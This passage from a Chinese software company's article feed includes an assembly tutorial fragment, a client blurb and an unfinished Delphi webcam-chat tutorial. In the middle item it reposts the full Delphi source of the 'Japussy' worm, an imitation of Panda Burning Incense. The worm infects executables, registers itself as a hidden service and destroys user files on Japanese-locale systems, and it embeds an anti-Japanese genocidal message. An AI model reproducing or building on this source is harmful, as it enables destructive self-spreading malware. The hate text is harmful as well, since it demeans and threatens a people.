            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; dwFlags
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4E4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; CodePage
            call&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dword ptr[42FE28]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; temp1,调用WideCharToMultiByte
            mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eax,432E60&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; 输出正确的 ANSI 字符串
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; lParam
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; wParam
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;180&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Message = LB_ADDSTRING
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dword ptr [42FE34]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; temp3,hWnd
            call&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dword ptr [42FE2E]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; 调用SendMessageA
            popad
            ret 10
            
        
    


文件没增加一个字节，资源段仍然处在最后位置，可以用资源编辑工具继续编辑而无需担心。

附加文件
&amp;nbsp; ( 72.43k ) 下载次数: 5

&amp;nbsp; </text>
<image> </image>
<keywords>汉化新世纪,--,最专业的汉化原创 </keywords>
<category>编程知识 </category>
<author> </author>
<source> </source>
<pubDate>2011-09-23 09:23 </pubDate>
</item>
<item>
<title>德至高防伪系统定制高级专业版 </title>
<link>http://www.youjoys.cn/case/20110811/407.html </link>
<description>悠久为德至高定制防伪系统高级专业版

德至高国际涉足制造业、酒店服务业、教育事业、金融投资等产业，其中有机硅原料制品、塑胶原料制品、电木制品、五金工具制品、电子工具制品，广泛应用于工业、建筑和家居等各个领域并覆盖全球。 </description>
<text>
	http://fw.takgiko.com/

	

	德至高国际涉足制造业、酒店服务业、教育事业、金融投资等产业，其中有机硅原料制品、塑胶原料制品、电木制品、五金工具制品、电子工具制品，广泛应用于工业、建筑和家居等各个领域并覆盖全球。

	&amp;nbsp;
 </text>
<image>http://www.youjoys.cn/uploads/allimg/110811/1-110Q11144310-L.jpg </image>
<keywords>德至高,防伪系统,定制,高级专业版 </keywords>
<category>成功案例 </category>
<author>软件设计公司 </author>
<source>软件开发公司 </source>
<pubDate>2011-08-10 11:43 </pubDate>
</item>
<item>
<title>熊猫烧香核心源码(Delphi模仿版本) </title>
<link>http://www.youjoys.cn/knowledge/20110728/379.html </link>
<description>本文来自互联网，仅供学习和研究使用，后果自行负责，造成的任何损失与本站无关，特此声明。 program Japussy; uses Windows, SysUtils, Classes, Graphics, Sh </description>
<text>天极网 
				
		
		本文来自互联网，仅供学习和研究使用，后果自行负责，造成的任何损失与本站无关，特此声明。
program Japussy;uses　 Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};const　 HeaderSize = 82432;　　　　　　　　　//病毒体的大小　 IconOffset = $12EB8;　　　　　　　　//PE文件主图标的偏移量　 　 //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同　 //查找2800000020的十六进制字符串可以找到主图标的偏移量　 {　 HeaderSize = 38912;　　　　　　　　　//Upx压缩过病毒体的大小　 IconOffset = $92BC;　　　　　　　　　//Upx压缩过PE文件主图标的偏移量　 　 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe}　 IconSize　= $2E8;　　　　　　　　　//PE文件主图标的大小--744字节　 IconTail　= IconOffset + IconSize;　//PE文件主图标的尾部　 ID　　　　= $44444444;　　　　　　　//感染标记　 　 //垃圾码，以备写入　 Catchword = 'If a race need to be killed out, it must be Yamato. ' +　　　　　　　 'If a country need to be destroyed, it must be Japan! ' +　　　　　　　 '*** W32.Japussy.Worm.A ***';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;　 stdcall; external 'Kernel32.dll'; //函数声明var　 TmpFile: string;　 Si:　　　STARTUPINFO;　 Pi:　　　PROCESS_INFORMATION;　 IsJap:　Boolean = False; //日文操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;var　 Ver: TOSVersionInfo;begin　 Result := False;　 Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);　 if not GetVersionEx(Ver) then　　 Exit;　 if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x　　 Result := True;end;{ 在流之间复制 }procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;　 dStartPos: Integer; Count: Integer);var　 sCurPos, dCurPos: Integer;begin　 sCurPos := Src.Position;　 dCurPos := Dst.Position;　 Src.Seek(sStartPos, 0);　 Dst.Seek(dStartPos, 0);　 Dst.CopyFrom(Src, Count);　 Src.Seek(sCurPos, 0);　 Dst.Seek(dCurPos, 0);end;{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }procedure ExtractFile(FileName: string);var　 sStream, dStream: TFileStream;begin　 try　　 sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);　　 try　　　 dStream := TFileStream.Create(FileName, fmCreate);　　　 try　　　　 sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分　　　　 dStream.CopyFrom(sStream, sStream.Size - HeaderSize);　　　 finally　　　　 dStream.Free;　　　 end;　　 finally　　　 sStream.Free;　　 end;　 except　 end;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);begin　 Si.cb := SizeOf(Si);　 Si.lpReserved := nil;　 Si.lpDesktop := nil;　 Si.lpTitle := nil;　 Si.dwFlags := STARTF_USESHOWWINDOW;　 Si.wShowWindow := State;　 Si.cbReserved2 := 0;　 Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin　 //哪位仁兄愿意完成之？end;{ 感染PE文件 }procedure InfectOneFile(FileName: string);var　 HdrStream, SrcStream: TFileStream;　 IcoStream, DstStream: TMemoryStream;　 iID: LongInt;　 aIcon: TIcon;　 Infected, IsPE: Boolean;　 i: Integer;　 Buf: array[0..1] of Char;begin　 try //出错则文件正在被使用，退出　　 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染　　　 Exit;　　 Infected := False;　　 IsPE　　:= False;　　 SrcStream := TFileStream.Create(FileName, fmOpenRead);　　 try　　　 for i := 0 to $108 do //检查PE文件头　　　 begin　　　　 SrcStream.Seek(i, soFromBeginning);　　　　 SrcStream.Read(Buf, 2);　　　　 if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记　　　　 begin　　　　　 IsPE := True; //是PE文件　　　　　 Break;　　　　 end;　　　 end;　　　 SrcStream.Seek(-4, soFromEnd); //检查感染标记　　　 SrcStream.Read(iID, 4);　　　 if (iID = ID) or (SrcStream.Size &amp;lt; 10240) then //太小的文件不感染　　　　 Infected := True;　　 finally　　　 SrcStream.Free;　　 end;　　 if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出　　　 Exit;　　 IcoStream := TMemoryStream.Create;　　 DstStream := TMemoryStream.Create;　　 try　　　 aIcon := TIcon.Create;　　　 try　　　　 //得到被感染文件的主图标(744字节)，存入流　　　　 aIcon.ReleaseHandle;　　　　 aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);　　　　 aIcon.SaveToStream(IcoStream);　　　 finally　　　　 aIcon.Free;　　　 end;　　　 SrcStream := TFileStream.Create(FileName, fmOpenRead);　　　 //头文件　　　 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);　　　 try　　　　 //写入病毒体主图标之前的数据　　　　 CopyStream(HdrStream, 0, DstStream, 0, IconOffset);　　　　 //写入目前程序的主图标　　　　 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);　　　　 //写入病毒体主图标到病毒体尾部之间的数据　　　　 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);　　　　 //写入宿主程序　　　　 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);　　　　 //写入已感染的标记　　　　 DstStream.Seek(0, 2);　　　　 iID := $44444444;　　　　 DstStream.Write(iID, 4);　　　 finally　　　　 HdrStream.Free;　　　 end;　　 finally　　　 SrcStream.Free;　　　 IcoStream.Free;　　　 DstStream.SaveToFile(FileName); //替换宿主文件　　　 DstStream.Free;　　 end;　 except;　 end;end;{ 将目标文件写入垃圾码后删除 }procedure SmashFile(FileName: string);var　 FileHandle: Integer;　 i, Size, Mass, Max, Len: Integer;begin　 try　　 SetFileAttributes(PChar(FileName), 0); //去掉只读属性　　 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件　　 try　　　 Size := GetFileSize(FileHandle, nil); //文件大小　　　 i := 0;　　　 Randomize;　　　 Max := Random(15); //写入垃圾码的随机次数　　　 if Max &amp;lt; 5 then　　　　 Max := 5;　　　 Mass := Size div Max; //每个间隔块的大小　　　 Len := Length(Catchword);　　　 while i &amp;lt; Max do　　　 begin　　　　 FileSeek(FileHandle, i * Mass, 0); //定位　　　　 //写入垃圾码，将文件彻底破坏掉　　　　 FileWrite(FileHandle, Catchword, Len);　　　　 Inc(i);　　　 end;　　 finally　　　 FileClose(FileHandle); //关闭文件　　 end;　　 DeleteFile(PChar(FileName)); //删除之　 except　 end;end;{ 获得可写的驱动器列表 }function GetDrives: string;var　 DiskType: Word;　 D: Char;　 Str: string;　 i: Integer;begin　 for i := 0 to 25 do //遍历26个字母　 begin　　 D := Chr(i + 65);　　 Str := D + ':';　　 DiskType := GetDriveType(PChar(Str));　　 //得到本地磁盘和网络盘　　 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then　　　 Result := Result + D;　 end;end;{ 遍历目录，感染和摧毁文件 }procedure LoopFiles(Path, Mask: string);var　 i, Count: Integer;　 Fn, Ext: string;　 SubDir: TStrings;　 SearchRec: TSearchRec;　 Msg: TMsg;　 function IsValidDir(SearchRec: TSearchRec): Integer;　 begin　　 if (SearchRec.Attr &amp;lt;&amp;gt; 16) and　(SearchRec.Name &amp;lt;&amp;gt; '.') and　　　 (SearchRec.Name &amp;lt;&amp;gt; '..') then　　　 Result := 0 //不是目录　　 else if (SearchRec.Attr = 16) and　(SearchRec.Name &amp;lt;&amp;gt; '.') and　　　 (SearchRec.Name &amp;lt;&amp;gt; '..') then　　　　 Result := 1 //不是根目录　　 else Result := 2; //是根目录　 end;begin　 if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then　 begin　　 repeat　　　 PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑　　　 if IsValidDir(SearchRec) = 0 then　　　 begin　　　　 Fn := Path + SearchRec.Name;　　　　 Ext := UpperCase(ExtractFileExt(Fn));　　　　 if (Ext = '.EXE') or (Ext = '.SCR') then　　　　 begin　　　　　 InfectOneFile(Fn); //感染可执行文件　　　　　　　　 end　　　　 else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then　　　　 begin　　　　　 //感染HTML和ASP文件，将Base64编码后的病毒写入　　　　　 //感染浏览此网页的所有用户　　　　　 //哪位大兄弟愿意完成之？　　　　 end　　　　 else if Ext = '.WAB' then //Outlook地址簿文件　　　　 begin　　　　　 //获取Outlook邮件地址　　　　 end　　　　 else if Ext = '.ADC' then //Foxmail地址自动完成文件　　　　 begin　　　　　 //获取Foxmail邮件地址　　　　 end　　　　 else if Ext = 'IND' then //Foxmail地址簿文件　　　　 begin　　　　　 //获取Foxmail邮件地址　　　　 end　　　　 else　　　　 begin　　　　　 if IsJap then //是倭文操作系统　　　　　 begin　　　　　　 if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or　　　　　　　 (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or　　　　　　　 (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or　　　　　　　 (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or　　　　　　　 (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or　　　　　　　 (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then　　　　　　　　 SmashFile(Fn); //摧毁文件　　　　　 end;　　　　 end;　　　 end;　　　 //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑　　　 Sleep(200);　　 until (FindNext(SearchRec) &amp;lt;&amp;gt; 0);　 end;　 FindClose(SearchRec);　 SubDir := TStringList.Create;　 if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then　 begin　　 repeat　　　 if IsValidDir(SearchRec) = 1 then　　　　 SubDir.Add(SearchRec.Name);　　 until (FindNext(SearchRec) &amp;lt;&amp;gt; 0);　　 end;　 FindClose(SearchRec);　 Count := SubDir.Count - 1;　 for i := 0 to Count do　　 LoopFiles(Path + SubDir.Strings[i] + '', Mask);　 FreeAndNil(SubDir);end;{ 遍历磁盘上所有的文件 }procedure InfectFiles; 　　var　 DriverList: string;　 i, Len: Integer;begin　 if GetACP = 932 then //日文操作系统　　 IsJap := True; //去死吧！　 DriverList := GetDrives; //得到可写的磁盘列表　 Len := Length(DriverList);　 while True do //死循环　 begin　　 for i := Len downto 1 do //遍历每个磁盘驱动器　　　 LoopFiles(DriverList[i] + ':', '*.*'); //感染之　　 SendMail; //发带毒邮件　　 Sleep(1000 * 60 * 5); //睡眠5分钟　 end;end;{ 主程序开始 }begin　 if IsWin9x then //是Win9x　　 RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程　 else //WinNT　 begin　　 //远程线程映射到Explorer进程　　 //哪位兄台愿意完成之？　 end;　 //如果是原始病毒体自己　 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then　　 InfectFiles //感染和发邮件　 else //已寄生于宿主程序上了，开始工作　 begin　　 TmpFile := ParamStr(0); //创建临时文件　　 Delete(TmpFile, Length(TmpFile) - 4, 4);　　 TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格　　 ExtractFile(TmpFile); //分离之　　 FillStartupInfo(Si, SW_SHOWDEFAULT);　　 CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,　　　 0, nil, '.', Si, Pi); //创建新进程运行之　　 InfectFiles; //感染和发邮件　 end;end. </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>用Delphi编写视频聊天软件 </title>
<link>http://www.youjoys.cn/knowledge/20110728/380.html </link>
<description>一、引言 我们知道视频聊天软件的关键技术在于采集视频，并实时传输给聊天软件在线的人。对于视频的采集，这里采用微软公司的关于数字视频的一个软件包VFW（Vid </description>
<text>
	副标题#e# 天极网

	一、引言

	我们知道视频聊天软件的关键技术在于采集视频，并实时传输给聊天软件在线的人。对于视频的采集，这里采用微软公司的关于数字视频的一个软件包VFW（Video for Windows）。相信很多人对它都很熟习，VFW能使应用程序通过数字化设备从传统的模拟视频源得到数字化的视频剪辑，VFW的一个关键思想是播放时不需要专用硬件。为了解决数字视频数据量大的问题，需要对进行压缩，而VFW引进了AVI的文件标准。该标准未规定如何对视频进行捕捉、压缩及播放，仅规定视频和音频该如何存储在硬盘上及在AVI文件中交替存储视频帧和与之相匹配的音频数据。通过VFW，开发人员通过发送消息或设置属性来捕捉、播放和编辑视频剪辑。当用户在安装VFW时，安装程序会自动地安装配置视频所需要的组件，如设备驱动程序、视频压缩程序等。VFW主要由6个模块组成。VFW功能模块：

	AVICAP.DLL 包含执行视频捕捉的函数，它给AVI文件的I/O处理和视频、音频设备驱动程序提供一个高级接口

	MSVIDEO.DLL 包含一套特殊的DrawDib函数，用来处理屏幕上的视频操作

	MCIAVI.DRV 包括对VFW的MCI命令解释器的驱动程序

	AVIFILE.DLL 包含由标准多媒体I/O（mmio）函数提供的更高的命令，用来访问.AVI文件

	ICM 压缩管理器，用于管理的视频压缩/解压缩的编译码器（Codec）

	ACM 音频压缩管理器，提供与ICM相似的服务，适用于波形音频

	对于视频的传输，我们使用UDP来传，因为UDP传输速度快，TCP是面向连接的，建立连接时双方需经过三次握手，数据传输可靠，FTP、telnet等就是基于TCP的，UDP是面向非连接的，发出信息不需对方确认，但这样速度比TCP快，但有可能丢失数据，象SMTP、tftp等就是基于UDP的。另外UDP还支持广播，UDP广播两种，一种是directed broadcast，比如你的网段是192.168.0.X，你就往192.168.0.255发就可以了。另一种是limited broadcast,广播地址是255.255.255.255

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# 天极网

	&amp;nbsp;

	二、视频聊天软件的开发步骤

	2.1 创建捕捉窗口，采集视频

	在进行视频捕捉之前必需要先创建一个捕捉窗口，并应以此为基础进行所有的捕捉及设置操作。捕捉窗口可用AVICap窗口类的&amp;quot;CapCreateCaptureWindow&amp;quot;函数来创建，其窗口风格可设置为WSCHILD和WS_VISIBLE参数。

	有了捕捉窗口，我们就可以将视频流和音频流捕捉到一个AVI文件中；动态地同视频和音频输入器件连接或断开；用Overlay或Preview模式对输入的视频流进行实时显示，设置捕捉速率，显示控制视频源、视频格式及视频压缩的对话框，创建、保存或载入调色板，将图像和相关的调色板拷贝到剪贴板，将捕捉的单帧图像保存到BMP格式文件中。

	2.2 捕捉窗口和驱动程序的关联

	仅仅一个捕捉窗口是不能工作起来的，它必须要与一个设备相关联才能取得视频信号。用函数CapDriverConnect可使捕捉窗与其设备驱动程序相关联。

	2.3设置视频设备的属性

	通过设置TcaptureParms结构变量的各个成员变量，可以控制设备的采样频率、中断采样按键、状态行为。设置好TcaptureParms结构变量后，可以用函数CapCaptureSetSetup使设置生效。之后还可以用CapPreviewScale、CapPreviewRate设置预览的比例与速度，也可以直接使用设备的默认值。

	2.4打开预览

	利用函数CapOverlay可选择是否采用叠加模式预览，以使资源占用小，视频显示速度加快。然后用CapPreview启动预览功能，这时就可以在屏幕上看到来自摄像头的图像了。

	2.5使用捕捉窗回调函数

	前的四个步骤就可以建立一个基本的视频捕捉程序了，如果想自己处理从设备捕捉到的视频数据，则要使用捕捉窗回调函数来处理，比如一帧一帧地获得视频数据，也可以以流的方式获得视频数据等等。

	2.6传输视频流

	使用回调函数可以取得第一帧的数据，我们使用网络技术将数据发给其它机器，其它机品将接收的数据显示出来。

	2.7接收视频

	接收UDP数据，同时将接收到的数据回显出来，这样就可以看到远处传来的视频了。

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# 天极网

	&amp;nbsp;

	三、用Delphi编写程序代码

	微软的VFW SDK只有VC和VB版，并没有Delphi版，不过在网上可以找到VFW.PAS文件，FW.PAS文件声明了调用DLL中的各个函数和变量。（注：源代码中提供了VFW.PAS文件）

	下面就以Delphi7开发一个网络视频聊天软件，聊天软件分两个程序，一个是视频采集程序并进行UDP广播的视频聊天软件服务器，另一个是接收UDP广播程序显示传来的视频数据的视频聊天软件客户端。

	3.1建立视频聊天软件服务器

	3.1.1新建一个工程，命名为Project1.dpr，并把VFW.PAS加到USE中

	&amp;nbsp;

	3.1.2在Form1上放置一个Tpanel控件，该控件用于显示视频。之后再放置两个Tbutton控件，一个caption为&amp;quot;开始&amp;quot;,另一个Name为&amp;quot;停止&amp;quot;，放置一个UDP组件，这里用indy的IdUDPClient用来传输视频，如图示：

	&amp;nbsp;

	3.1.3定义全局变量

	CapWnd:THandle; //定义捕捉窗句柄
	CapParms:TcaptureParms; //用于设置设备属性的结构变量
	BMPINFO:TBitmapInfo; //BMP图像信息

	3.1.4编码事件代码

	开始按钮代码：

	CapWnd := capCreateCaptureWindow(&amp;#39;我的窗口&amp;#39;, WS_VISIBLE or WS_CHILD,//窗口样式 0, //X坐标 0, //Y坐标 panel1.Width, //窗口宽 panel1.Height, //窗口高 panel1.handle, //窗口句柄 0); //通常为0
	if CapWnd = 0 then exit; //定义帧捕捉回调函数
	CapSetCallbackOnFrame(CapWnd,FrameCallBack);
	CapParms.dwRequestMicroSecPerFrame:=1;
	CapParms.fLimitEnabled:=FALSE;
	CapParms.fCaptureAudio:=FALSE;
	CapParms.fMCIControl:=FALSE;
	CapParms.fYield:=TRUE;
	CapParms.vKeyAbort:=VK_ESCAPE;
	CapParms.fAbortLeftMouse:=False;
	CapParms.fAbortRightMouse:=FALSE; //让设置生效
	CapCaptureSetSetup(capWnd,@CapParms,sizeof(TCAPTUREPARMS));
	CapPreviewRate(capWnd,33); //设置预览视频的频率
	CapCaptureSequenceNoFile(capWnd); //如果要捕捉视频流，则要使用函数来指定不生成文件，不然会自动生成AVI文件 CapDriverConnect(CapWnd,0); //连接摄像头设备，第二个参数是个序号，当系统中装有多个显示驱动程序时，其值分别依次为0到总个数如果有多个摄像头，那么就是0-&amp;gt;1-&amp;gt;2
	capGetVideoFormat(capWnd, @BMPINFO,sizeof(TBitmapInfo)); //取得视频图像数据头
	CapPreviewScale(capWnd,TRUE); //是否缩放
	CapOverlay(capWnd,true); //指定是否使用叠加模式，true为使用，否则为falseCapPreview(capWnd,true);

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# 天极网

	&amp;nbsp;

	回调函数代码：

	var hd:Thandle;
	jpg:TJpegImage;
	memStream :TMemoryStream;
	Bitmap:TBitmap;
	begin //将数据显在Image，
	Bitmap:=TBitmap.Create;
	Bitmap.Width :=BMPINFO.bmiHeader.biWidth;
	// New size of Bitmap
	Bitmap.Height:=BMPINFO.bmiHeader.biHeight;
	hd:= DrawDibOpen; DrawDibDraw(hd,Bitmap.canvas.handle,0,0,_
	　 BMPINFO.BmiHeader.biwidth,BMPINFO.bmiheader.biheight,_
	　 @BMPINFO.bmiHeader,lpVHdr^.lpData,0,0,BMPINFO.bmiHeader.biWidth,_
	　 BMPINFO.bmiHeader.biheight,0);
	DrawDibClose(hd); //发送数据
	memStream := TMemoryStream.Create;
	jpg := TJpegImage.Create;
	jpg.Assign(Bitmap);
	jpg.CompressionQuality := 10; //jpg压缩质量
	jpg.JPEGNeeded;
	jpg.Compress;
	jpg.SaveToStream(memStream);
	jpg.Free; //因为UDP数据包有大小限制，这里如果超出部分，就没有传输，完全可以发几次发出去
	Form1.IdUDPClient1.BroadcastEnabled:=true;//用广播功能
	if memStream.Size&amp;gt;Form1.IdUDPClient1.BufferSize then
	//向192.168.0.X网段广播，端口 9001
	Form1.IdUDPClient1.SendBuffer(&amp;#39;192.168.0.255&amp;#39;,9001,memStream.Memory^,Form1.IdUDPClient1.BufferSize) else Form1.IdUDPClient1.SendBuffer(&amp;#39;192.168.0.255&amp;#39;,9001,memStream.Memory^,memStream.Size);
	memStream.Free;
	Bitmap.Free;
	End;

	停止代码：

	capCaptureAbort(CapWnd); //停止捕捉 capDriverDisconnect(CapWnd); //将捕捉窗同驱动器断开

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# 天极网

	&amp;nbsp;

	完整的视频聊天软件服务器代码：

	unit Unit1;
	interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls,VFW, IdBaseComponent, IdComponent, IdUDPBase, IdUDPClient,jpeg;type TForm1 = class(TForm) Panel1: TPanel;
	Button1: TButton;
	Button2: TButton;
	IdUDPClient1: TIdUDPClient;
	procedure Button1Click(Sender: TObject);
	procedure Button2Click(Sender: TObject);
	private { Private declarations }
	public { Public declarations }
	end;
	var Form1: TForm1;
	CapWnd:THandle; //定义捕捉窗句柄
	CapParms:TcaptureParms; //用于设置设备属性的结构变量
	BMPINFO:TBitmapInfo; //BMP图像信息
	implementation{$R *.dfm}
	function FrameCallBack(hWnd: HWND; lpVHdr: PVIDEOHDR): LongInt;stdcall;
	var hd:Thandle;
	jpg:TJpegImage;
	memStream :TMemoryStream;
	Bitmap:TBitmap;
	begin //将数据显在Image，
	Bitmap:=TBitmap.Create;
	Bitmap.Width :=BMPINFO.bmiHeader.biWidth;
	// New size of Bitmap
	Bitmap.Height:=BMPINFO.bmiHeader.biHeight;
	hd:= DrawDibOpen;
	DrawDibDraw(hd,Bitmap.canvas.handle,0,0,BMPINFO.BmiHeader.biwidth,BMPINFO._
	　 bmiheader.biheight,@BMPINFO.bmiHeader,_
	　 lpVHdr^.lpData,0,0,BMPINFO.bmiHeader.biWidth,BMPINFO.bmiHeader.biheight,0);
	DrawDibClose(hd);
	//发送数据
	memStream := TMemoryStream.Create;
	jpg := TJpegImage.Create; jpg.Assign(Bitmap);
	jpg.CompressionQuality := 10;
	//jpg压缩质量
	jpg.JPEGNeeded;
	jpg.Compress;
	jpg.SaveToStream(memStream);
	jpg.Free;
	//因为UDP数据包有大小限制，这里如果超出部分，就没有传输，完全可以发几次发出去
	Form1.IdUDPClient1.BroadcastEnabled:=true;//用广播功能
	if memStream.Size&amp;gt;Form1.IdUDPClient1.BufferSize then
	　 //向192.168.0.X网段广播，端口 9001
	　 Form1.IdUDPClient1.SendBuffer(&amp;#39;192.168.0.255&amp;#39;,9001,memStream.Memory^,Form1.IdUDPClient1.BufferSize)
	else
	　 Form1.IdUDPClient1.SendBuffer(&amp;#39;192.168.0.255&amp;#39;,9001,memStream.Memory^,memStream.Size);
	　 memStream.Free;
	　 Bitmap.Free;
	end;
	procedure TForm1.Button1Click(Sender: TObject);
	begin
	　 CapWnd := capCreateCaptureWindow(&amp;#39;我的窗口&amp;#39;, WS_VISIBLE or WS_CHILD,//窗口样式
	　　 0, //X坐标
	　　 0, //Y坐标
	　　 panel1.Width, //窗口宽
	　　 panel1.Height, //窗口高
	　　 panel1.handle, //窗口句柄
	　　 0); //通常为0
	if CapWnd = 0 then exit; //定义帧捕捉回调函数
	CapSetCallbackOnFrame(CapWnd,FrameCallBack);
	CapParms.dwRequestMicroSecPerFrame:=1;
	CapParms.fLimitEnabled:=FALSE;
	CapParms.fCaptureAudio:=FALSE;
	CapParms.fMCIControl:=FALSE;
	CapParms.fYield:=TRUE;
	CapParms.vKeyAbort:=VK_ESCAPE;
	CapParms.fAbortLeftMouse:=False;
	CapParms.fAbortRightMouse:=FALSE; //让设置生效
	CapCaptureSetSetup(capWnd,@CapParms,sizeof(TCAPTUREPARMS));
	CapPreviewRate(capWnd,33); //设置预览视频的频率
	CapCaptureSequenceNoFile(capWnd); //如果要捕捉视频流，则要使用函数来指定不生成文件，不然会自动生成AVI文件
	CapDriverConnect(CapWnd,0); //连接摄像头设备，第二个参数是个序号，当系统中装有多个显示驱动程序时，其值分别依次为0到总个数如果有多个摄像头，那么就是0-&amp;gt;1-&amp;gt;2 capGetVideoFormat(capWnd, @BMPINFO,sizeof(TBitmapInfo)); //取得视频图像数据头
	CapPreviewScale(capWnd,TRUE); //是否缩放
	CapOverlay(capWnd,true); //指定是否使用叠加模式，true为使用，否则为false CapPreview(capWnd,true);end;procedure TForm1.Button2Click(Sender: TObject);
	begin capCaptureAbort(CapWnd); //停止捕捉
	capDriverDisconnect(CapWnd); //将捕捉窗同驱动器断开
	end;
	end.

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# 天极网

	&amp;nbsp;

	3.2建立视频聊天软件客户端

